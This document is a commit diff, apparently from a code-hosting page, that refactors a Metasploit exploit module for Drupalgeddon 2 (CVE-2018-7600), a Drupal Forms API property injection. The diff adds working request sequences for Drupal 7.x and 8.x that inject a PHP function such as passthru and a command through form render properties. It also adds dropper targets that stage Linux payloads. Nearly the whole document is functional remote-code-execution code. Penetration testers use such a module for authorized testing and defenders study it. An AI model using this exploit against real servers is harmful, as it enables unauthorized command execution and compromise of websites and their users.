Refactor module and address review comments
parent
d8508b8d7d
commit
1900aa2708
|
@ -8,17 +8,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Drupal Drupalgeddon 2',
|
||||
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability.
|
||||
This module exploits a Drupal property injection in the Forms API.
|
||||
|
||||
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
|
||||
|
||||
Tested on 7.57 and 8.4.5.
|
||||
},
|
||||
'Author' => [
|
||||
'Jasper Mattsson', # Vulnerability discovery
|
||||
'a2u', # Proof of concept
|
||||
'Nixawk', # Proof of concept
|
||||
'a2u', # Proof of concept (Drupal 8.x)
|
||||
'Nixawk', # Proof of concept (Drupal 8.x)
|
||||
'FireFart', # Proof of concept (Drupal 7.x)
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
|
@ -27,17 +33,39 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
['URL', 'https://greysec.net/showthread.php?tid=2912'],
|
||||
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
|
||||
['URL', 'https://github.com/a2u/CVE-2018-7600'],
|
||||
['URL', 'https://github.com/nixawk/labs/issues/19']
|
||||
['URL', 'https://github.com/nixawk/labs/issues/19'],
|
||||
['URL', 'https://github.com/FireFart/CVE-2018-7600'],
|
||||
['AKA', 'Drupalgeddon 2']
|
||||
],
|
||||
'DisclosureDate' => 'Mar 28 2018',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
|
||||
'Targets' => [
|
||||
['Drupal < 7.58, < 8.3.9, < 8.4.6, < 8.5.1', {}]
|
||||
['Drupal 7.x (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => Gem::Version.new('7.x')
|
||||
],
|
||||
['Drupal 7.x (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => Gem::Version.new('7.x')
|
||||
],
|
||||
['Drupal 8.x (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Version' => Gem::Version.new('8.x')
|
||||
],
|
||||
['Drupal 8.x (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Version' => Gem::Version.new('8.x')
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultTarget' => 2, # Drupal 8.x (Unix In-Memory)
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/generic',
|
||||
'CMD' => 'id; uname -a'
|
||||
|
@ -46,15 +74,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
|
||||
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
|
||||
OptBool.new('CLEAN_URLS', [false, 'If clean URLs are enabled', true]),
|
||||
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', true])
|
||||
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
token = Rex::Text.rand_text_alphanumeric(8..42)
|
||||
|
||||
res = exploit(code: "echo #{token}")
|
||||
res = execute_command(token, func: 'printf')
|
||||
|
||||
if res && res.body.include?(token)
|
||||
return CheckCode::Vulnerable
|
||||
|
@ -63,36 +92,37 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
CheckCode::Safe
|
||||
end
|
||||
|
||||
# TODO: passthru() may be disabled, so try others
|
||||
def exploit(func: 'passthru', code: payload.encoded)
|
||||
if datastore['CLEAN_URLS']
|
||||
register = '/user/register'
|
||||
else
|
||||
register = '?q=user/register'
|
||||
def exploit
|
||||
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
|
||||
# XXX: Naughty datastore modification
|
||||
datastore['DUMP_OUTPUT'] = true
|
||||
end
|
||||
|
||||
print_status("Executing on target: #{code}")
|
||||
case target.name
|
||||
when /In-Memory/
|
||||
execute_command(payload.encoded)
|
||||
when /Dropper/
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, register),
|
||||
'vars_get' => {
|
||||
'element_parents' => 'account/mail/#value',
|
||||
'ajax_form' => 1,
|
||||
'_wrapper_format' => 'drupal_ajax'
|
||||
},
|
||||
'vars_post' => {
|
||||
'form_id' => 'user_register_form',
|
||||
'_drupal_ajax' => 1,
|
||||
'mail[#type]' => 'markup',
|
||||
'mail[#post_render][]' => func,
|
||||
'mail[#markup]' => code
|
||||
}
|
||||
)
|
||||
def execute_command(cmd, opts = {})
|
||||
# TODO: passthru() may be disabled, so try others
|
||||
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
|
||||
|
||||
if res.nil? || res.code != 200
|
||||
print_error("Unexpected reply: #{res.inspect}")
|
||||
return nil
|
||||
vprint_status("Executing with #{func}(): #{cmd}")
|
||||
|
||||
res = case target['Version'].to_s
|
||||
when '7.x'
|
||||
exploit_drupal7(func, cmd)
|
||||
when '8.x'
|
||||
exploit_drupal8(func, cmd)
|
||||
end
|
||||
|
||||
unless res && res.code == 200
|
||||
vprint_error("Unexpected final reply: #{res.inspect}")
|
||||
return
|
||||
end
|
||||
|
||||
print_line(res.body) if datastore['DUMP_OUTPUT']
|
||||
|
@ -100,4 +130,92 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
res
|
||||
end
|
||||
|
||||
def exploit_drupal7(func, code)
|
||||
vars_get = {
|
||||
'name[#post_render][]' => func,
|
||||
'name[#markup]' => code,
|
||||
'name[#type]' => 'markup'
|
||||
}
|
||||
|
||||
vars_post = {
|
||||
'form_id' => 'user_pass',
|
||||
'_triggering_element_name' => 'name'
|
||||
}
|
||||
|
||||
if datastore['CLEAN_URLS']
|
||||
uri = normalize_uri(target_uri.path, '/user/password')
|
||||
else
|
||||
uri = target_uri.path
|
||||
vars_get = {'q' => 'user/password'}.merge(vars_get)
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_get' => vars_get,
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
|
||||
unless res && res.code == 200
|
||||
vprint_error("Unexpected intermediate reply: #{res.inspect}")
|
||||
return
|
||||
end
|
||||
|
||||
form_build_id = res.get_html_document.at(
|
||||
'//input[@name = "form_build_id"]/@value'
|
||||
)
|
||||
|
||||
if form_build_id
|
||||
form_build_id = form_build_id.value
|
||||
else
|
||||
vprint_error("Unknown form_build_id: #{res.inspect}")
|
||||
return
|
||||
end
|
||||
|
||||
vars_get = {
|
||||
'q' => "file/ajax/name/#value/#{form_build_id}"
|
||||
}
|
||||
|
||||
vars_post = {
|
||||
'form_build_id' => form_build_id
|
||||
}
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_get' => vars_get,
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
end
|
||||
|
||||
def exploit_drupal8(func, code)
|
||||
vars_get = {
|
||||
'element_parents' => 'account/mail/#value',
|
||||
'ajax_form' => 1,
|
||||
'_wrapper_format' => 'drupal_ajax'
|
||||
}
|
||||
|
||||
vars_post = {
|
||||
'form_id' => 'user_register_form',
|
||||
'_drupal_ajax' => 1,
|
||||
'mail[#type]' => 'markup',
|
||||
'mail[#post_render][]' => func,
|
||||
'mail[#markup]' => code
|
||||
}
|
||||
|
||||
if datastore['CLEAN_URLS']
|
||||
uri = normalize_uri(target_uri.path, '/user/register')
|
||||
else
|
||||
uri = target_uri.path
|
||||
vars_get = {'q' => 'user/register'}.merge(vars_get)
|
||||
end
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_get' => vars_get,
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue